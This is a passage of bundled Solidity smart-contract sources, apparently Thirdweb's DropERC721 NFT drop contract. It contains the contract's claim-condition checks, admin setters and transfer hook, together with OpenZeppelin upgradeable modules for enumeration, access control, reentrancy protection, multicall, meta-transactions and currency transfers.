require(nextTokenIdToClaim + _quantity <= nextTokenIdToMint, "not enough minted tokens.");
require(maxTotalSupply == 0 || nextTokenIdToClaim + _quantity <= maxTotalSupply, "exceed max total supply.");
require(
maxWalletClaimCount == 0 || walletClaimCount[_claimer] + _quantity <= maxWalletClaimCount,
"exceed claim limit"
);
(uint256 lastClaimTimestamp, uint256 nextValidClaimTimestamp) = getClaimTimestamp(_conditionId, _claimer);
require(lastClaimTimestamp == 0 || block.timestamp >= nextValidClaimTimestamp, "cannot claim.");
}
/// @dev Checks whether a claimer meets the claim condition's allowlist criteria.
function verifyClaimMerkleProof(
uint256 _conditionId,
address _claimer,
uint256 _quantity,
bytes32[] calldata _proofs,
uint256 _proofMaxQuantityPerTransaction
) public view returns (bool validMerkleProof, uint256 merkleProofIndex) {
ClaimCondition memory currentClaimPhase = claimCondition.phases[_conditionId];
if (currentClaimPhase.merkleRoot != bytes32(0)) {
(validMerkleProof, merkleProofIndex) = MerkleProof.verify(
_proofs,
currentClaimPhase.merkleRoot,
keccak256(abi.encodePacked(_claimer, _proofMaxQuantityPerTransaction))
);
require(validMerkleProof, "not in whitelist.");
require(!claimCondition.limitMerkleProofClaim[_conditionId].get(merkleProofIndex), "proof claimed.");
require(
_proofMaxQuantityPerTransaction == 0 || _quantity <= _proofMaxQuantityPerTransaction,
"invalid quantity proof."
);
}
}
/*///////////////////////////////////////////////////////////////
Getter functions
//////////////////////////////////////////////////////////////*/
/// @dev At any given moment, returns the uid for the active claim condition.
function getActiveClaimConditionId() public view returns (uint256) {
for (uint256 i = claimCondition.currentStartId + claimCondition.count; i > claimCondition.currentStartId; i--) {
if (block.timestamp >= claimCondition.phases[i - 1].startTimestamp) {
return i - 1;
}
}
revert("!CONDITION.");
}
/// @dev Returns the royalty recipient and bps for a particular token Id.
function getRoyaltyInfoForToken(uint256 _tokenId) public view returns (address, uint16) {
RoyaltyInfo memory royaltyForToken = royaltyInfoForToken[_tokenId];
return
royaltyForToken.recipient == address(0)
? (royaltyRecipient, uint16(royaltyBps))
: (royaltyForToken.recipient, uint16(royaltyForToken.bps));
}
/// @dev Returns the platform fee recipient and bps.
function getPlatformFeeInfo() external view returns (address, uint16) {
return (platformFeeRecipient, uint16(platformFeeBps));
}
/// @dev Returns the default royalty recipient and bps.
function getDefaultRoyaltyInfo() external view returns (address, uint16) {
return (royaltyRecipient, uint16(royaltyBps));
}
/// @dev Returns the timestamp for when a claimer is eligible for claiming NFTs again.
function getClaimTimestamp(uint256 _conditionId, address _claimer)
public
view
returns (uint256 lastClaimTimestamp, uint256 nextValidClaimTimestamp)
{
lastClaimTimestamp = claimCondition.limitLastClaimTimestamp[_conditionId][_claimer];
unchecked {
nextValidClaimTimestamp =
lastClaimTimestamp +
claimCondition.phases[_conditionId].waitTimeInSecondsBetweenClaims;
if (nextValidClaimTimestamp < lastClaimTimestamp) {
nextValidClaimTimestamp = type(uint256).max;
}
}
}
/// @dev Returns the claim condition at the given uid.
function getClaimConditionById(uint256 _conditionId) external view returns (ClaimCondition memory condition) {
condition = claimCondition.phases[_conditionId];
}
/// @dev Returns the amount of stored baseURIs
function getBaseURICount() external view returns (uint256) {
return baseURIIndices.length;
}
/*///////////////////////////////////////////////////////////////
Setter functions
//////////////////////////////////////////////////////////////*/
/// @dev Lets a contract admin set a claim count for a wallet.
function setWalletClaimCount(address _claimer, uint256 _count) external onlyRole(DEFAULT_ADMIN_ROLE) {
walletClaimCount[_claimer] = _count;
emit WalletClaimCountUpdated(_claimer, _count);
}
/// @dev Lets a contract admin set a maximum number of NFTs that can be claimed by any wallet.
function setMaxWalletClaimCount(uint256 _count) external onlyRole(DEFAULT_ADMIN_ROLE) {
maxWalletClaimCount = _count;
emit MaxWalletClaimCountUpdated(_count);
}
/// @dev Lets a contract admin set the global maximum supply for collection's NFTs.
function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(_maxTotalSupply < nextTokenIdToMint, "existing > desired max supply");
maxTotalSupply = _maxTotalSupply;
emit MaxTotalSupplyUpdated(_maxTotalSupply);
}
/// @dev Lets a contract admin set the recipient for all primary sales.
function setPrimarySaleRecipient(address _saleRecipient) external onlyRole(DEFAULT_ADMIN_ROLE) {
primarySaleRecipient = _saleRecipient;
emit PrimarySaleRecipientUpdated(_saleRecipient);
}
/// @dev Lets a contract admin update the default royalty recipient and bps.
function setDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(_royaltyBps <= MAX_BPS, "> MAX_BPS");
royaltyRecipient = _royaltyRecipient;
royaltyBps = uint16(_royaltyBps);
emit DefaultRoyalty(_royaltyRecipient, _royaltyBps);
}
/// @dev Lets a contract admin set the royalty recipient and bps for a particular token Id.
function setRoyaltyInfoForToken(
uint256 _tokenId,
address _recipient,
uint256 _bps
) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(_bps <= MAX_BPS, "> MAX_BPS");
royaltyInfoForToken[_tokenId] = RoyaltyInfo({ recipient: _recipient, bps: _bps });
emit RoyaltyForToken(_tokenId, _recipient, _bps);
}
/// @dev Lets a contract admin update the platform fee recipient and bps
function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(_platformFeeBps <= MAX_BPS, "> MAX_BPS.");
platformFeeBps = uint16(_platformFeeBps);
platformFeeRecipient = _platformFeeRecipient;
emit PlatformFeeInfoUpdated(_platformFeeRecipient, _platformFeeBps);
}
/// @dev Lets a contract admin set a new owner for the contract. The new owner must be a contract admin.
function setOwner(address _newOwner) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(hasRole(DEFAULT_ADMIN_ROLE, _newOwner), "!ADMIN");
address _prevOwner = _owner;
_owner = _newOwner;
emit OwnerUpdated(_prevOwner, _newOwner);
}
/// @dev Lets a contract admin set the URI for contract-level metadata.
function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) {
contractURI = _uri;
}
/*///////////////////////////////////////////////////////////////
Miscellaneous
//////////////////////////////////////////////////////////////*/
/// @dev Burns `tokenId`. See {ERC721-_burn}.
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "caller not owner nor approved");
_burn(tokenId);
}
/// @dev See {ERC721-_beforeTokenTransfer}.
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721EnumerableUpgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
// if transfer is restricted on the contract, we still want to allow burning and minting
if (!hasRole(TRANSFER_ROLE, address(0)) && from != address(0) && to != address(0)) {
require(hasRole(TRANSFER_ROLE, from) || hasRole(TRANSFER_ROLE, to), "!TRANSFER_ROLE");
}
}
function _msgSender()
internal
view
virtual
override(ContextUpgradeable, ERC2771ContextUpgradeable)
returns (address sender)
{
return ERC2771ContextUpgradeable._msgSender();
}
function _msgData()
internal
view
virtual
override(ContextUpgradeable, ERC2771ContextUpgradeable)
returns (bytes calldata)
{
return ERC2771ContextUpgradeable._msgData();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal onlyInitializing {
}
function __ERC721Enumerable_init_unchained() internal onlyInitializing {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
/**
* @dev Interface for the NFT Royalty Standard.
*
* A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal
* support for royalty payments across all NFT marketplaces and ecosystem participants.
*
* _Available since v4.5._
*/
interface IERC2981Upgradeable is IERC165Upgradeable {
/**
* @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of
* exchange. The royalty amount is denominated and should be payed in that same unit of exchange.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal onlyInitializing {
}
function __AccessControlEnumerable_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential.
* Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor].
*/
library BitMapsUpgradeable {
struct BitMap {
mapping(uint256 => uint256) _data;
}
/**
* @dev Returns whether the bit at `index` is set.
*/
function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
return bitmap._data[bucket] & mask != 0;
}
/**
* @dev Sets the bit at `index` to the boolean `value`.
*/
function setTo(
BitMap storage bitmap,
uint256 index,
bool value
) internal {
if (value) {
set(bitmap, index);
} else {
unset(bitmap, index);
}
}
/**
* @dev Sets the bit at `index`.
*/
function set(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] |= mask;
}
/**
* @dev Unsets the bit at `index`.
*/
function unset(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] &= ~mask;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Multicall.sol)
pragma solidity ^0.8.0;
import "./AddressUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides a function to batch together multiple calls in a single external call.
*
* _Available since v4.1._
*/
abstract contract MulticallUpgradeable is Initializable {
function __Multicall_init() internal onlyInitializing {
}
function __Multicall_init_unchained() internal onlyInitializing {
}
/**
* @dev Receives and executes a batch of function calls on this contract.
*/
function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = _functionDelegateCall(address(this), data[i]);
}
return results;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "../IThirdwebContract.sol";
import "../IThirdwebPlatformFee.sol";
import "../IThirdwebPrimarySale.sol";
import "../IThirdwebRoyalty.sol";
import "../IThirdwebOwnable.sol";
import "./IDropClaimCondition.sol";
/**
* Thirdweb's 'Drop' contracts are distribution mechanisms for tokens. The
* `DropERC721` contract is a distribution mechanism for ERC721 tokens.
*
* A minter wallet (i.e. holder of `MINTER_ROLE`) can (lazy)mint 'n' tokens
* at once by providing a single base URI for all tokens being lazy minted.
* The URI for each of the 'n' tokens lazy minted is the provided base URI +
* `{tokenId}` of the respective token. (e.g. "ipsf://Qmece.../1").
*
* A minter can choose to lazy mint 'delayed-reveal' tokens. More on 'delayed-reveal'
* tokens in [this article](https://blog.thirdweb.com/delayed-reveal-nfts).
*
* A contract admin (i.e. holder of `DEFAULT_ADMIN_ROLE`) can create claim conditions
* with non-overlapping time windows, and accounts can claim the tokens according to
* restrictions defined in the claim condition that is active at the time of the transaction.
*/
interface IDropERC721 is
IThirdwebContract,
IThirdwebOwnable,
IThirdwebRoyalty,
IThirdwebPrimarySale,
IThirdwebPlatformFee,
IERC721Upgradeable,
IDropClaimCondition
{
/// @dev Emitted when tokens are claimed.
event TokensClaimed(
uint256 indexed claimConditionIndex,
address indexed claimer,
address indexed receiver,
uint256 startTokenId,
uint256 quantityClaimed
);
/// @dev Emitted when tokens are lazy minted.
event TokensLazyMinted(uint256 startTokenId, uint256 endTokenId, string baseURI, bytes encryptedBaseURI);
/// @dev Emitted when the URI for a batch of 'delayed-reveal' NFTs is revealed.
event NFTRevealed(uint256 endTokenId, string revealedURI);
/// @dev Emitted when new claim conditions are set.
event ClaimConditionsUpdated(ClaimCondition[] claimConditions);
/// @dev Emitted when the global max supply of tokens is updated.
event MaxTotalSupplyUpdated(uint256 maxTotalSupply);
/// @dev Emitted when the wallet claim count for an address is updated.
event WalletClaimCountUpdated(address indexed wallet, uint256 count);
/// @dev Emitted when the global max wallet claim count is updated.
event MaxWalletClaimCountUpdated(uint256 count);
/**
* @notice Lets an account with `MINTER_ROLE` lazy mint 'n' NFTs.
* The URIs for each token is the provided `_baseURIForTokens` + `{tokenId}`.
*
* @param amount The amount of NFTs to lazy mint.
* @param baseURIForTokens The URI for the NFTs to lazy mint. If lazy minting
* 'delayed-reveal' NFTs, the is a URI for NFTs in the
* un-revealed state.
* @param encryptedBaseURI If lazy minting 'delayed-reveal' NFTs, this is the
* result of encrypting the URI of the NFTs in the revealed
* state.
*/
function lazyMint(
uint256 amount,
string calldata baseURIForTokens,
bytes calldata encryptedBaseURI
) external;
/**
* @notice Lets an account claim a given quantity of NFTs.
*
* @param receiver The receiver of the NFTs to claim.
* @param quantity The quantity of NFTs to claim.
* @param currency The currency in which to pay for the claim.
* @param pricePerToken The price per token to pay for the claim.
* @param proofs The proof of the claimer's inclusion in the merkle root allowlist
* of the claim conditions that apply.
* @param proofMaxQuantityPerTransaction (Optional) The maximum number of NFTs an address included in an
* allowlist can claim.
*/
function claim(
address receiver,
uint256 quantity,
address currency,
uint256 pricePerToken,
bytes32[] calldata proofs,
uint256 proofMaxQuantityPerTransaction
) external payable;
/**
* @notice Lets a contract admin (account with `DEFAULT_ADMIN_ROLE`) set claim conditions.
*
* @param phases Claim conditions in ascending order by `startTimestamp`.
* @param resetClaimEligibility Whether to reset `limitLastClaimTimestamp` and
* `limitMerkleProofClaim` values when setting new
* claim conditions.
*/
function setClaimConditions(ClaimCondition[] calldata phases, bool resetClaimEligibility) external;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
interface ITWFee {
function getFeeInfo(address _proxy, uint256 _type) external view returns (address recipient, uint256 bps);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (metatx/ERC2771Context.sol)
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
/**
* @dev Context variant with ERC2771 support.
*/
abstract contract ERC2771ContextUpgradeable is Initializable, ContextUpgradeable {
mapping(address => bool) private _trustedForwarder;
function __ERC2771Context_init(address[] memory trustedForwarder) internal onlyInitializing {
__Context_init_unchained();
__ERC2771Context_init_unchained(trustedForwarder);
}
function __ERC2771Context_init_unchained(address[] memory trustedForwarder) internal onlyInitializing {
for (uint256 i = 0; i < trustedForwarder.length; i++) {
_trustedForwarder[trustedForwarder[i]] = true;
}
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return _trustedForwarder[forwarder];
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return super._msgData();
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
// Helper interfaces
import { IWETH } from "../interfaces/IWETH.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
library CurrencyTransferLib {
using SafeERC20Upgradeable for IERC20Upgradeable;
/// @dev The address interpreted as native token of the chain.
address public constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @dev Transfers a given amount of currency.
function transferCurrency(
address _currency,
address _from,
address _to,
uint256 _amount
) internal {
if (_amount == 0) {
return;
}
if (_currency == NATIVE_TOKEN) {
safeTransferNativeToken(_to, _amount);
} else {
safeTransferERC20(_currency, _from, _to, _amount);
}
}
/// @dev Transfers a given amount of currency. (With native token wrapping)
function transferCurrencyWithWrapper(
address _currency,
address _from,
address _to,
uint256 _amount,
address _nativeTokenWrapper
) internal {
if (_amount == 0) {
return;
}
if (_currency == NATIVE_TOKEN) {
if (_from == address(this)) {
// withdraw from weth then transfer withdrawn native token to recipient
IWETH(_nativeTokenWrapper).withdraw(_amount);
safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);
} else if (_to == address(this)) {
// store native currency in weth
require(_amount == msg.value, "msg.value != amount");
IWETH(_nativeTokenWrapper).deposit{ value: _amount }();
} else {
safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);
}
} else {
safeTransferERC20(_currency, _from, _to, _amount);
}
}
/// @dev Transfer `amount` of ERC20 token from `from` to `to`.
function safeTransferERC20(
address _currency,
address _from,
address _to,
uint256 _amount
) internal {
if (_from == _to) {
return;
}
if (_from == address(this)) {
IERC20Upgradeable(_currency).safeTransfer(_to, _amount);
} else {
IERC20Upgradeable(_currency).safeTransferFrom(_from, _to, _amount);
}
}
/// @dev Transfers `amount` of native token to `to`.
function safeTransferNativeToken(address to, uint256 value) internal {
// solhint-disable avoid-low-level-calls
// slither-disable-next-line low-level-calls
(bool success, ) = to.call{ value: value }("");
require(success, "native token transfer failed");
}
/// @dev Transfers `amount` of native token to `to`. (With native token wrapping)
function safeTransferNativeTokenWithWrapper(
address to,
uint256 value,
address _nativeTokenWrapper
) internal {
// solhint-disable avoid-low-level-calls
// slither-disable-next-line low-level-calls
(bool success, ) = to.call{ value: value }("");
if (!success) {
IWETH(_nativeTokenWrapper).deposit{ value: value }();
IERC20Upgradeable(_nativeTokenWrapper).safeTransfer(to, value);
}
}
}
// SPDX-License-Identifier: Apache-2.0
